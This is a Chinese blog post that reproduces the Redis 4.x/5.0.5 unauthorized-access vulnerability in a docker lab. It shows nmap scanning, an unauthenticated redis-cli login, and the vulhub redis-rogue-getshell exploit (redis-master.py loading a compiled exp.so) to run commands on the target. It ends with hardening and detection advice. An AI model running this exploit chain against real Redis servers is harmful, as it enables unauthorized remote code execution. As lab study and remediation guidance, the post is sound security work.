LOADING

加载过慢请开启缓存 浏览器默认开启

2024/6/3

Redis未授权访问漏洞复现

一、漏洞简介

redis是一个数据库,默认端口是6379,redis默认是没有密码验证的,可以免密码登录操作,攻击者可以通过操作redis进一步控制服务器。

Redis未授权访问在4.x/5.0.5以前版本下,可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。

二、漏洞影响

影响版本

Redis 4.x/5.0.5以前版本

三、产生原因

  1. redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
  2. 没有设置密码认证(一般为空),可以免密码远程登录redis服务。

四、复现过程

docker 靶机:192.168.145.129

攻击机 kali: 192.168.145.132

靶场环境:redis:4.0.14

docker搭建靶场环境

docker-compose up -d
docker-compose ps

image-20240603094619313

可以看到redis启动在6379端口

kali安装redis,依次执行以下命令

wget http://download.redis.io/releases/redis-2.8.12.tar.gz 
tar -xzf redis-2.8.12.tar.gz
cd redis-2.8.12
make
cd src
./redis-cli -h

image-20240603094742962

出现帮助信息,表示安装成功

image-20240603094842216

nmap扫描靶机,发现6379端口开放

nmap -sV --open -p- 192.168.145.129

image-20240603095025995

redis-cli远程登录redis主机命令

# 无密码登录命令
redis-cli -h 目标主机IP
# 有密码登录命令
redis-cli -h 目标主机IP -p 端口6379 -a 登录密码

使用攻击机redis连接目标机redis

cd redis-2.8.12/src/
./redis-cli -h 192.168.145.129

连接成功,查看info信息

image-20240603095225385

使用py脚本执行远程命令,下载exp

git clone https://github.com/vulhub/redis-rogue-getshell.git

进入该目录下

cd redis-rogue-getshell/RedisModulesSDK/exp
make //在当前目录下生成一个exp.so文件

image-20240603100718091

回到redis-rogue-getshell目录下,利用exp执行命令

./redis-master.py -r 192.168.145.129 -p 6379 -L 192.168.145.132 -P 1111 -f RedisModulesSDK/exp/exp.so -c "whoami"

image-20240603101003188

五、修复方案

  1. 禁止绑定公网(本地缓存)

    redis.conf: bind 127.0.0.1 //redis本来就是作为内存数据库,只要监听在本机即可

  2. 密码验证

    配置认证,也就是AUTH,设置密码,密码会以明文方式保存在Redis配置文件中

  3. 降权运行

    禁止使用 root 权限启动 redis 服务

     vim /etc/redis/redis.conf
     # By default Redis does not run as a daemon. Use 'yes' if you need it.
     # Note that Redis will write a pid file in /var/run/redis.pid when daemonized.
     daemonize yes
    

    在降权(deamon)模式下,更改配置文件路径是不允许的,即”config set dir /root/.ssh/“执行失败,从而避免了写任意文件的风险

  4. 其他

    • 限定可以连接Redis服务器的IP
    • 修改Redis默认端口6379
    • 配置rename-command配置项”RENAME_CONFIG”,这样即使存在未授权访问,也能够给攻击者使用config 指令加大难度
  5. 禁止从redis写入主模式redis传输的文件

    slave-read-only yes
    
  6. 自动化检测方案

    1. 从running进程redis-server中获取启动参数中的配置文件路径。如果获取失败则从默认路径: /etc/redis/redis.conf

    2. 检查配置key-value对

      daemonize yes
      bind 127.0.0.1 
      

参考链接:

Redis未授权访问漏洞复现_redis 4.0.14 漏洞-CSDN博客

【vulhub漏洞复现】redis 4-unacc 未授权访问漏洞_redis未授权漏洞vulhub靶场复现-CSDN博客